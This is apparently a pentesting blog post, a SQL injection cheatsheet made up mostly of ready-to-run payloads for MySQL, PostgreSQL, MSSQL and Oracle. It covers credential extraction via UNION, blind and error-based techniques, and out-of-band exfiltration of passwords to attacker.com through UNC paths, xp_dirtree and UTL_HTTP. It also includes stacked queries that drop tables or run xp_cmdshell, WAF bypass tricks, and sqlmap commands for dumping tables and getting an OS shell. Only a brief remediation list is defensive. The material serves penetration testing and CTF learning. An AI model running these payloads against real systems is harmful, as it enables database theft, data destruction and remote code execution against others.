← Back to writing
Web Pentesting

SQL Injection Cheatsheet

Mar 12, 2024
4 min read
lawbyte

SQL injection remains one of the most impactful vulnerability classes in web applications. This cheatsheet covers every major technique you’ll encounter during pentests and CTFs, from basic union extraction to out-of-band data exfiltration.

Detection

The first goal is confirming that input reaches a SQL query unsanitized. A single quote is the classic canary:

' -- causes syntax error
'' -- closes and reopens, often safe

If the application returns a different response (error, blank page, behavior change), SQL injection is likely. For numeric parameters try arithmetic:

id=1 AND 1=1   -- true, normal response
id=1 AND 1=2 -- false, different response
id=1-0 -- same as id=1
id=2-1 -- same as id=1

Union-Based Extraction

Union injection works when the application reflects query results back to the page.

Step 1 — Find column count

' ORDER BY 1--
' ORDER BY 2--
' ORDER BY 3-- -- error here means 2 columns

Or with UNION NULL:

' UNION SELECT NULL--
' UNION SELECT NULL,NULL--
' UNION SELECT NULL,NULL,NULL--

Step 2 — Find reflected columns

' UNION SELECT 'a',NULL,NULL--
' UNION SELECT NULL,'a',NULL--
' UNION SELECT NULL,NULL,'a'--

Step 3 — Extract data (MySQL)

' UNION SELECT table_name,NULL FROM information_schema.tables WHERE table_schema=database()--
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'--
' UNION SELECT username,password FROM users--

Concatenate multiple columns:

' UNION SELECT CONCAT(username,':',password),NULL FROM users--
' UNION SELECT username||':'||password,NULL FROM users-- -- PostgreSQL

Blind Boolean-Based

No data is reflected — you infer truth by observing whether the response changes.

' AND 1=1--   -- true: normal page
' AND 1=2-- -- false: different/empty page

' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'--
' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='b'--

Binary search approach

Instead of iterating a–z, use ASCII + binary search:

' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 64--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 96--
' AND ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)) > 112--

This extracts one character in 7 requests instead of up to 126.


Time-Based Blind

Use when there is zero output difference — only response timing changes.

-- MySQL
' AND SLEEP(5)--
' AND IF(1=1,SLEEP(5),0)--
' AND IF((SELECT COUNT(*) FROM users)>0,SLEEP(5),0)--

-- PostgreSQL
'; SELECT pg_sleep(5)--
' AND (SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END)--

-- MSSQL
'; WAITFOR DELAY '0:0:5'--
' IF(1=1) WAITFOR DELAY '0:0:5'--

-- Oracle
' AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)--
' AND (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE NULL END FROM dual) IS NULL--

Automate extraction with conditional delays:

' AND IF(ASCII(SUBSTRING((SELECT password FROM users LIMIT 1),1,1))>96,SLEEP(3),0)--

Error-Based Extraction

Force the database to reveal data inside error messages.

-- MySQL: extractvalue / updatexml
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT database())))--
' AND UPDATEXML(1,CONCAT(0x7e,(SELECT user())),1)--

-- PostgreSQL: cast type mismatch
' AND CAST((SELECT username FROM users LIMIT 1) AS INT)--

-- MSSQL: convert
' AND CONVERT(int,(SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--

-- Oracle: UTL_INADDR
' AND 1=UTL_INADDR.GET_HOST_ADDRESS((SELECT username FROM users WHERE ROWNUM=1))--

Out-of-Band (OOB)

When all in-band channels are blind, exfiltrate via DNS or HTTP callbacks.

-- MySQL: LOAD_FILE + UNC (Windows)
' AND LOAD_FILE(CONCAT('\\\\',( SELECT password FROM users LIMIT 1),'.attacker.com\\x'))--

-- MSSQL: xp_dirtree
'; EXEC master..xp_dirtree '\\attacker.com\'+( SELECT TOP 1 name FROM sysobjects WHERE xtype='U')+'\'--

-- Oracle: UTL_HTTP
' AND UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE ROWNUM=1)) IS NOT NULL--

Use interactsh or Burp Collaborator as the callback server.


Stacked Queries

Supported in PostgreSQL and MSSQL, rarely in MySQL via PDO.

'; INSERT INTO users(username,password) VALUES('hacker','pass')--
'; DROP TABLE users--
'; EXEC xp_cmdshell('whoami')-- -- MSSQL RCE

WAF Bypass Techniques

Bypass technique Example
Case variation SeLeCt, uNiOn
Inline comments UN/**/ION SEL/**/ECT
URL encoding %27 for ', %20 for space
Double URL encode %2527
Whitespace alternatives SELECT%09username, SELECT\nusername
Scientific notation 1e0 UNION
Equivalent functions SUBSTRMIDSUBSTRING
Hex encoding 0x61646d696e instead of 'admin'

sqlmap Quick Reference

# Basic detection
sqlmap -u "https://target.com/page?id=1"

# POST data
sqlmap -u "https://target.com/login" --data="user=a&pass=b"

# With session cookie
sqlmap -u "https://target.com/page?id=1" --cookie="PHPSESSID=abc123"

# Enumerate databases
sqlmap -u "https://target.com/page?id=1" --dbs

# Dump table
sqlmap -u "https://target.com/page?id=1" -D mydb -T users --dump

# Attempt shell
sqlmap -u "https://target.com/page?id=1" --os-shell

# Tamper scripts for WAF bypass
sqlmap -u "https://target.com/page?id=1" --tamper=space2comment,between,randomcase

# Specify DBMS to speed up
sqlmap -u "https://target.com/page?id=1" --dbms=mysql --level=3 --risk=2

Second-Order SQLi

The payload is stored, then executed in a different context:

  1. Register username: admin'--
  2. Change password form: UPDATE users SET password='x' WHERE username='admin'--' — the stored payload truncates the query, updating admin instead of your user.

Always test stored values that are later reflected into queries.


Database Fingerprinting

-- Version
MySQL: SELECT @@version
PostgreSQL: SELECT version()
MSSQL: SELECT @@version
Oracle: SELECT * FROM v$version

-- Current user
MySQL: SELECT user()
PostgreSQL: SELECT current_user
MSSQL: SELECT SYSTEM_USER
Oracle: SELECT user FROM dual

-- Current database
MySQL: SELECT database()
PostgreSQL: SELECT current_database()
MSSQL: SELECT DB_NAME()
Oracle: SELECT ora_database_name FROM dual

Remediation

  • Use parameterized queries / prepared statements — never string-concatenate user input into SQL.
  • Apply least-privilege database accounts.
  • Validate and whitelist input types where possible.
  • Use a WAF as a defense-in-depth layer, not a primary control.

Discussion

Leave a comment · All fields required · No spam

No comments yet. Be the first.